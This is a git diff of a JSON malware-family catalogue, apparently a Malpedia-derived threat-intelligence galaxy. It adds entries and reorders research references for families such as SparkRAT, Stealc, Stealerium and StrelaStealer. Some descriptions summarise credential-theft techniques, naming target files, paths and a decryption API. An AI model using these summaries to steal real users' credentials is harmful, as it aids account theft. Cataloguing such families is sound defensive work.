"https://www.secureworks.com/research/threat-profiles/tin-woodlawn" ], "synonyms": [ "denis" @@ -42786,8 +45079,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.spaceship", - "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", - "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt30.pdf" + "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt30.pdf", + "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" ], "synonyms": [], "type": [] @@ -42800,11 +45093,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.spark", - "https://www.cybereason.com/blog/new-cyber-espionage-campaigns-targeting-palestinians-part-one", + "https://www.zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east", "https://www.cybereason.com/blog/new-malware-arsenal-abusing-cloud-platforms-in-middle-east-espionage-campaign", "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", - "https://www.zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east", - "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/" + "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", + "https://www.cybereason.com/blog/new-cyber-espionage-campaigns-targeting-palestinians-part-one" ], "synonyms": [], "type": [] @@ -42838,6 +45131,22 @@ "uuid": "1937c3e0-569d-4eb4-b769-ae5d9cc27755", "value": "Sparksrv" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.spark_rat", + "https://www.sentinelone.com/labs/dragonspark-attacks-evade-detection-with-sparkrat-and-golang-source-code-interpretation/", + "https://blog.exatrack.com/melofee/", + "https://www.microsoft.com/en-us/security/blog/2022/12/21/microsoft-research-uncovers-new-zerobot-capabilities/", + "https://github.com/XZB-1248/Spark" + ], + "synonyms": [], + "type": [] + }, + "uuid": "55c6dce3-650b-4f67-8b47-5f6cd0acb72c", + "value": "SparkRAT" + }, { "description": "", "meta": { @@ -42893,6 +45202,19 @@ "uuid": "bd29030e-d440-4842-bc2a-c173ed938da4", "value": "Spedear" }, + { + "description": "According to Trend Micro, this is a tool designed to disable security products, adopting two approaches to achieve this purpose. One approach terminates the security product process by using a vulnerable driver, zamguard64.sys, published by Zemana (vulnerability designated as CVE-2018-5713). Meanwhile, another approach disables process launching by using a new technique that they named stack rumbling.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.sphijacker", + "https://www.trendmicro.com/en_us/research/23/e/attack-on-security-titans-earth-longzhi-returns-with-new-tricks.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "24541e4c-27b3-4a80-9dca-972f9825d36b", + "value": "SPHijacker" + }, { "description": "", "meta": { @@ -42911,8 +45233,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.spider_rat", + "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_8_hara_en.pdf", "https://twitter.com/nahamike01/status/1471496800582664193?s=20", - "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_8_hara_en.pdf" + "https://jp.security.ntt/resources/EN-BlackTech_2021.pdf" ], "synonyms": [], "type": [] @@ -42925,12 +45248,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.spora_ransom", - "https://github.com/MinervaLabsResearch/SporaVaccination", - "https://nakedsecurity.sophos.com/2017/06/26/how-spora-ransomware-tries-to-fool-antivirus/", - "https://www.linkedin.com/pulse/spora-ransomware-understanding-hta-infection-vector-kevin-douglas", - "https://www.gdatasoftware.com/blog/2017/01/29442-spora-worm-and-ransomware", "https://blog.malwarebytes.com/threat-analysis/2017/03/spora-ransomware/", - "http://malware-traffic-analysis.net/2017/01/17/index2.html" + "https://www.gdatasoftware.com/blog/2017/01/29442-spora-worm-and-ransomware", + "https://github.com/MinervaLabsResearch/SporaVaccination", + "http://malware-traffic-analysis.net/2017/01/17/index2.html", + "https://nakedsecurity.sophos.com/2017/06/26/how-spora-ransomware-tries-to-fool-antivirus/", + "https://www.linkedin.com/pulse/spora-ransomware-understanding-hta-infection-vector-kevin-douglas" ], "synonyms": [], "type": [] @@ -42955,13 +45278,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.spyder", + "https://speakerdeck.com/aragorntseng/winnti-is-coming-evolution-after-prosecution-at-hitcon2021", "https://securitynews.sonicwall.com/xmlpost/chinas-winnti-spyder-module/", - "https://st.drweb.com/static/new-www/news/2021/march/BackDoor.Spyder.1_en.pdf", + "https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques", "https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan/", "https://www.cybereason.com/blog/operation-cuckoobees-a-winnti-malware-arsenal-deep-dive", - "https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques", - "https://hello.global.ntt/-/media/ntt/global/insights/white-papers/the-operations-of-winnti-group.pdf", - "https://vms.drweb.com/virus/?i=23648386" + "https://vms.drweb.com/virus/?i=23648386", + "https://st.drweb.com/static/new-www/news/2021/march/BackDoor.Spyder.1_en.pdf", + "https://hello.global.ntt/-/media/ntt/global/insights/white-papers/the-operations-of-winnti-group.pdf" ], "synonyms": [], "type": [] @@ -42974,18 +45298,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.spyeye", - "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan%3AWin32%2FSpyeye", - "https://securelist.com/financial-cyberthreats-in-2020/101638/", - "https://krebsonsecurity.com/2010/04/spyeye-vs-zeus-rivalry/", - "https://www.sans.org/reading-room/whitepapers/malicious/clash-titans-zeus-spyeye-33393", - "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", "https://www.computerworld.com/article/2509482/spyeye-trojan-defeating-online-banking-defenses.html", "https://krebsonsecurity.com/2010/09/spyeye-botnets-bogus-billing-feature/", "http://malwareint.blogspot.com/2010/02/spyeye-bot-part-two-conversations-with.html", - "https://www.justice.gov/opa/pr/four-individuals-plead-guilty-rico-conspiracy-involving-bulletproof-hosting-cybercriminals", "https://www.pcworld.com/article/247252/spyeye_malware_borrows_zeus_trick_to_mask_fraud.html", - "https://www.symantec.com/connect/blogs/spyeye-bot-versus-zeus-bot", - "https://krebsonsecurity.com/2011/04/spyeye-targets-opera-google-chrome-users/" + "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan%3AWin32%2FSpyeye", + "https://www.sans.org/reading-room/whitepapers/malicious/clash-titans-zeus-spyeye-33393", + "https://www.justice.gov/opa/pr/four-individuals-plead-guilty-rico-conspiracy-involving-bulletproof-hosting-cybercriminals", + "https://securelist.com/financial-cyberthreats-in-2020/101638/", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://krebsonsecurity.com/2010/04/spyeye-vs-zeus-rivalry/", + "https://krebsonsecurity.com/2011/04/spyeye-targets-opera-google-chrome-users/", + "https://www.symantec.com/connect/blogs/spyeye-bot-versus-zeus-bot" ], "synonyms": [], "type": [] @@ -42998,30 +45322,30 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.squirrelwaffle", - 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"https://securelist.com/analysis/publications/69953/the-naikon-apt/", - "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/TheNaikonAPT-MsnMM1.pdf" + "https://securelist.com/analysis/publications/69953/the-naikon-apt/" ], "synonyms": [], "type": [] @@ -43079,8 +45403,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.stabuniq", - "https://www.symantec.com/connect/blogs/trojanstabuniq-found-financial-institution-servers", - "http://contagiodump.blogspot.com/2012/12/dec-2012-trojanstabuniq-samples.html" + "http://contagiodump.blogspot.com/2012/12/dec-2012-trojanstabuniq-samples.html", + "https://www.symantec.com/connect/blogs/trojanstabuniq-found-financial-institution-servers" ], "synonyms": [], "type": [] @@ -43100,15 +45424,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "50eb8c54-5828-11e8-8d6b-232bb9329fc0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "8c38460b-fcfd-434e-b258-875854c6aff6", "value": "StalinLocker" }, @@ -43161,15 +45476,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "d0220108-48d7-4056-babc-189048f37a59", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "6df9bbd4-ab32-4d09-afdb-97eed274520a", "value": "StarsyPound" }, @@ -43193,9 +45499,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.stashlog", - "https://twitter.com/ESETresearch/status/1433819369784610828", "https://www.fireeye.com/blog/threat-research/2021/09/unknown-actor-using-clfs-log-files-for-stealth.html", "https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques", + "https://twitter.com/ESETresearch/status/1433819369784610828", "https://www.cybereason.com/blog/operation-cuckoobees-a-winnti-malware-arsenal-deep-dive" ], "synonyms": [], @@ -43209,10 +45515,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealbit", - "https://www.cybereason.com/blog/threat-analysis-report-inside-the-lockbit-arsenal-the-stealbit-exfiltration-tool", "https://twitter.com/r3c0nst/status/1425875923606310913", + "https://yoroi.company/research/hunting-the-lockbit-gangs-exfiltration-infrastructures/", + "https://www.accenture.com/us-en/blogs/security/stealbit-exmatter-exfiltration-tool-analysis", "https://securelist.com/new-ransomware-trends-in-2022/106457/", - "https://yoroi.company/research/hunting-the-lockbit-gangs-exfiltration-infrastructures/" + "https://www.cybereason.com/blog/threat-analysis-report-inside-the-lockbit-arsenal-the-stealbit-exfiltration-tool" ], "synonyms": [ "Corrempa" @@ -43222,6 +45529,34 @@ "uuid": "b98c86d4-1eee-490e-a6f9-e9559322fec8", "value": "StealBit" }, + { + "description": "Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.\r\n\r\nStealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc", + "https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/", + "https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "58a2c661-470e-438d-bea3-bff1ed987ed2", + "value": "Stealc" + }, + { + "description": "According to SecurityScorecard, Stealerium is an open-source stealer available on GitHub. The malware steals information from browsers, cryptocurrency wallets, and applications such as Discord, Pidgin, Outlook, Telegram, Skype, Element, Signal, Tox, Steam, Minecraft, and VPN clients. The binary also gathers data about the infected host, such as the running processes, Desktop and webcam screenshots, Wi-Fi networks, the Windows product key, and the public and private IP address. The stealer employs multiple anti-analysis techniques, such as detecting virtual machines, sandboxes, and malware analysis tools and checking if the process is being debugged. The malware also embedded a keylogger module and a clipper module that replaces cryptocurrency wallet addresses with the threat actor’s addresses if the victim makes a transaction. The stolen information is sent to a Discord channel using a Discord Webhook.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealerium", + "https://github.com/Stealerium/Stealerium", + "https://resources.securityscorecard.com/research/stealerium-detailed-analysis" + ], + "synonyms": [], + "type": [] + }, + "uuid": "bf71f246-7382-486d-996d-c2b7aa8cf89b", + "value": "Stealerium" + }, { "description": "According to PTSecurity, this stealer harvests system information which is then RC4 encrypted and Base64 encoded before sending it to the C2 server.", "meta": { @@ -43237,7 +45572,7 @@ "value": "Stealer0x3401" }, { - "description": "", + "description": "According to Fortinet, StealthWorker is a brute-force malware that has been linked to a compromised e-commerce website with an embedded skimmer that steals personal information and payment details. Before hackers can embed a skimmer, however, the first requirement is for hackers to gain access to their target’s backend. Hacker’s commonly take advantage of vulnerabilities in the Content Management System (CMS) or its plugins to gain entry into the target’s system. Another, simpler option is to use brute force attacks. Though quite slow, this method is still effective against administrators using weak or commonly used passwords.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealthworker", @@ -43293,12 +45628,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.stonedrill", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/", "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage" + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf" ], "synonyms": [], "type": [] @@ -43311,23 +45647,25 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.stop", - "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/", - "https://github.com/vithakur/detections/blob/main/STOP-ransomware-djvu/IOC-list", - "https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/", - "https://malienist.medium.com/defendagainst-ransomware-stop-c8cf4116645b", + "https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a", "https://securelist.com/keypass-ransomware/87412/", - "https://securelist.com/story-of-the-year-2019-cities-under-ransomware-siege/95456/", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://intel471.com/blog/privateloader-malware", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", "https://www.bleepingcomputer.com/news/security/djvu-ransomware-spreading-new-tro-variant-through-cracks-and-adware-bundles/", - "https://www.gdata.de/blog/1970/01/-35391-finger-weg-von-illegalen-software-downloads", - "https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/", + "https://malienist.medium.com/defendagainst-ransomware-stop-c8cf4116645b", + "https://www.team-cymru.com/post/seychelles-seychelles-on-the-c-2-shore", "https://angle.ankura.com/post/102het9/the-stop-ransomware-variant", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a", "https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware", "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", - "https://intel471.com/blog/privateloader-malware" + "https://www.gdata.de/blog/1970/01/-35391-finger-weg-von-illegalen-software-downloads", + "https://github.com/vithakur/detections/blob/main/STOP-ransomware-djvu/IOC-list", + "https://securelist.com/story-of-the-year-2019-cities-under-ransomware-siege/95456/", + "https://www.gdatasoftware.com/blog/2022/01/malware-vaccines", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/", + "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/", + "https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/" ], "synonyms": [ "Djvu", @@ -43338,6 +45676,34 @@ "uuid": "447e5d7d-dd23-43b3-8cbc-b835498a49dd", "value": "STOP" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.stormwind", + "https://securelist.com/deathstalker-targets-legal-entities-with-new-janicab-variant/108131/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "98d5a891-f4dd-4c87-a019-1f1e7ab59301", + "value": "Stormwind" + }, + { + "description": "According to Mandiant, STOWAWAY is a publicly available backdoor and proxy. The project supports several types of communication like SSH, socks5. Backdoor component supports upload and download of files, remote shell and basic information gathering.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.stowaway", + "https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government", + "https://blog.exatrack.com/melofee/", + "https://github.com/ph4ntonn/Stowaway" + ], + "synonyms": [], + "type": [] + }, + "uuid": "cd187108-c557-42f8-8e48-1993abb37720", + "value": "STOWAWAY" + }, { "description": "", "meta": { @@ -43350,15 +45716,28 @@ "uuid": "0439c5ec-306e-4473-84f7-50bdb5539fc2", "value": "Stration" }, + { + "description": "According to PCRisk, StrelaStealer seeks to extract email account log-in credentials. At the time of writing, this program targets Microsoft Outlook and Mozilla Thunderbird email clients.\r\n\r\nFollowing successful infiltration, StrelaStealer searches for \"logins.json\" (account/password) and \"key4.db\" (password database) within the \"%APPDATA%\\Thunderbird\\Profiles\\\" directory - by doing so, it can acquire the credentials for Thunderbird.\r\n\r\nAlternatively, if Outlook credentials are targeted - StrelaStealer seeks out the Windows Registry from where it can retrieve the program's key and \"IMAP User\", \"IMAP Server\", as well as the \"IMAP Password\" values. Since the latter is kept in an encrypted form, the malicious program employs the Windows CryptUnprotectData feature to decrypt it prior to exfiltration.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.strelastealer", + "https://medium.com/@DCSO_CyTec/shortandmalicious-strelastealer-aims-for-mail-credentials-a4c3e78c8abc" + ], + "synonyms": [], + "type": [] + }, + "uuid": "17f84079-56b8-4be5-bc59-75c8526b0ce0", + "value": "StrelaStealer" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.stresspaint", + "https://arstechnica.com/information-technology/2018/04/tens-of-thousands-of-facebook-accounts-compromised-in-days-by-malware/", "https://security.radware.com/malware/stresspaint-malware-targeting-facebook-credentials/", "https://www.bleepingcomputer.com/news/security/stresspaint-malware-steals-facebook-credentials-and-session-cookies/", - "https://blog.radware.com/security/2018/04/stresspaint-malware-campaign-targeting-facebook-credentials/", - "https://arstechnica.com/information-technology/2018/04/tens-of-thousands-of-facebook-accounts-compromised-in-days-by-malware/" + "https://blog.radware.com/security/2018/04/stresspaint-malware-campaign-targeting-facebook-credentials/" ], "synonyms": [], "type": [] @@ -43371,6 +45750,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.strifewater_rat", + "https://www.secureworks.com/blog/abrahams-ax-likely-linked-to-moses-staff", "https://www.fortinet.com/blog/threat-research/guard-your-drive-from-driveguard", "https://www.cybereason.com/blog/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations" ], @@ -43385,23 +45765,23 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.strongpity", - "https://www.welivesecurity.com/2017/12/08/strongpity-like-spyware-replaces-finfisher/", - "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", - "https://ti.qianxin.com/blog/articles/promethium-attack-activity-analysis-disguised-as-Winrar.exe/", - "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html", - "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf", - "https://cybleinc.com/2020/12/31/strongpity-apt-extends-global-reach-with-new-infrastructure/", - "https://mp.weixin.qq.com/s/5No0TR4ECVPp_Xv4joXEBg", - "https://twitter.com/physicaldrive0/status/786293008278970368", - "https://securelist.com/blog/research/76147/on-the-strongpity-waterhole-attacks-targeting-italian-and-belgian-encryption-users/", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.welivesecurity.com/2017/12/08/strongpity-like-spyware-replaces-finfisher/", "https://0xthreatintel.medium.com/uncovering-apt-c-41-strongpity-backdoor-e7f9a7a076f4", - "https://blog.minerva-labs.com/a-new-strongpity-variant-hides-behind-notepad-installation", - "https://anchorednarratives.substack.com/p/recover-your-files-with-strongpity", - "https://mp.weixin.qq.com/s/nQVUkIwkiQTj2pLaNYHeOA", - "https://anchorednarratives.substack.com/p/tracking-strongpity-with-yara", + "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html", + "https://citizenlab.ca/2018/03/bad-traffic-sandvines-packetlogic-devices-deploy-government-spyware-turkey-syria/", + "https://ti.qianxin.com/blog/articles/promethium-attack-activity-analysis-disguised-as-Winrar.exe/", + "https://twitter.com/physicaldrive0/status/786293008278970368", + "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf", + "https://mp.weixin.qq.com/s/5No0TR4ECVPp_Xv4joXEBg", + "https://securelist.com/blog/research/76147/on-the-strongpity-waterhole-attacks-targeting-italian-and-belgian-encryption-users/", "https://blogs.blackberry.com/en/2021/11/zebra2104", - "https://citizenlab.ca/2018/03/bad-traffic-sandvines-packetlogic-devices-deploy-government-spyware-turkey-syria/" + "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", + "https://anchorednarratives.substack.com/p/recover-your-files-with-strongpity", + "https://anchorednarratives.substack.com/p/tracking-strongpity-with-yara", + "https://cybleinc.com/2020/12/31/strongpity-apt-extends-global-reach-with-new-infrastructure/", + "https://blog.minerva-labs.com/a-new-strongpity-variant-hides-behind-notepad-installation", + "https://mp.weixin.qq.com/s/nQVUkIwkiQTj2pLaNYHeOA" ], "synonyms": [], "type": [] @@ -43414,37 +45794,28 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.stuxnet", - "https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf", - "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", - "https://www.welivesecurity.com/media_files/white-papers/Stuxnet_Under_the_Microscope.pdf", - "https://news.yahoo.com/revealed-how-a-secret-dutch-mole-aided-the-us-israeli-stuxnet-cyber-attack-on-iran-160026018.html", "https://storage.googleapis.com/chronicle-research/STUXSHOP%20Stuxnet%20Dials%20In%20.pdf", - "https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf", - "https://www.codeproject.com/articles/246545/stuxnet-malware-analysis-paper", - "https://www.domaintools.com/resources/blog/visibility-monitoring-and-critical-infrastructure-security", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://medium.com/s2wlab/w3-may-en-story-of-the-week-code-signing-certificate-on-the-darkweb-94c7ec437001", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/10/20114955/Bartholomew-GuerreroSaade-VB2016.pdf", - "http://artemonsecurity.blogspot.de/2017/04/stuxnet-drivers-detailed-analysis.html", - "https://www.spiegel.de/netzwelt/web/die-erste-cyberwaffe-und-ihre-folgen-a-a0ed08c9-5080-4ac2-8518-ed69347dc147", - "https://fmmresearch.files.wordpress.com/2020/09/theemeraldconnectionreport_fmmr-2.pdf", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf", + "https://www.codeproject.com/articles/246545/stuxnet-malware-analysis-paper", + "https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf", + "https://www.domaintools.com/resources/blog/visibility-monitoring-and-critical-infrastructure-security", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/10/20114955/Bartholomew-GuerreroSaade-VB2016.pdf", + "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", + "https://www.spiegel.de/netzwelt/web/die-erste-cyberwaffe-und-ihre-folgen-a-a0ed08c9-5080-4ac2-8518-ed69347dc147", + "http://artemonsecurity.blogspot.de/2017/04/stuxnet-drivers-detailed-analysis.html", + "https://www.welivesecurity.com/media_files/white-papers/Stuxnet_Under_the_Microscope.pdf", + "https://fmmresearch.files.wordpress.com/2020/09/theemeraldconnectionreport_fmmr-2.pdf", + "https://news.yahoo.com/revealed-how-a-secret-dutch-mole-aided-the-us-israeli-stuxnet-cyber-attack-on-iran-160026018.html", + "https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf", "https://fmmresearch.wordpress.com/2020/09/28/the-emerald-connection-equationgroup-collaboration-with-stuxnet/", - "https://media.ccc.de/v/27c3-4245-en-adventures_in_analyzing_stuxnet" + "https://media.ccc.de/v/27c3-4245-en-adventures_in_analyzing_stuxnet", + "https://medium.com/s2wlab/w3-may-en-story-of-the-week-code-signing-certificate-on-the-darkweb-94c7ec437001", + "https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "1b63293f-13f0-4c25-9bf6-6ebc023fc8ff", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "6ad84f52-0025-4a9d-861a-65c870f47988", "value": "Stuxnet" }, @@ -43453,9 +45824,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.subzero", + "https://www.focus.de/politik/vorab-aus-dem-focus-volle-kontrolle-ueber-zielcomputer-das-raetsel-um-die-spionage-app-fuehrt-ueber-wirecard-zu-putin_id_24442733.html", "https://cdn.netzpolitik.org/wp-upload/2021/12/2018-08-28_DSIRF_Company-Profile-Gov.redacted.pdf", "https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/", - "https://www.focus.de/politik/vorab-aus-dem-focus-volle-kontrolle-ueber-zielcomputer-das-raetsel-um-die-spionage-app-fuehrt-ueber-wirecard-zu-putin_id_24442733.html", "https://netzpolitik.org/2021/dsirf-wir-enthuellen-den-staatstrojaner-subzero-aus-oesterreich/" ], "synonyms": [ @@ -43472,8 +45843,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.suceful", - "https://www.fireeye.com/blog/threat-research/2015/09/suceful_next_genera.html", - "https://documents.trendmicro.com/assets/white_papers/wp-cashing-in-on-atm-malware.pdf" + "https://documents.trendmicro.com/assets/white_papers/wp-cashing-in-on-atm-malware.pdf", + "https://www.fireeye.com/blog/threat-research/2015/09/suceful_next_genera.html" ], "synonyms": [], "type": [] @@ -43527,179 +45898,180 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sunburst", + "https://www.cyberark.com/resources/threat-research-blog/golden-saml-revisited-the-solorigate-connection", + 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"https://www.splunk.com/en_us/blog/security/supernova-redux-with-a-generous-portion-of-masquerading.html", - "https://www.anquanke.com/post/id/226029", - "https://www.guidepointsecurity.com/blog/supernova-solarwinds-net-webshell-analysis", - "https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/", - "https://www.solarwinds.com/securityadvisory/faq", - "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", - "https://www.sentinelone.com/labs/solarwinds-understanding-detecting-the-supernova-webshell-trojan", - "https://us-cert.cisa.gov/ncas/alerts/aa21-008a", - "https://www.trendmicro.com/en_us/research/20/l/overview-of-recent-sunburst-targeted-attacks.html", "https://github.com/fireeye/sunburst_countermeasures/pull/5", + "https://www.solarwinds.com/securityadvisory/faq", + "https://github.com/fireeye/sunburst_countermeasures", + "https://www.guidepointsecurity.com/blog/supernova-solarwinds-net-webshell-analysis", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-112a", + "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "https://labs.sentinelone.com/solarwinds-understanding-detecting-the-supernova-webshell-trojan/", + "https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-027a", + "https://unit42.paloaltonetworks.com/solarstorm-supernova", + "https://www.splunk.com/en_us/blog/security/detecting-supernova-malware-solarwinds-continued.html", + 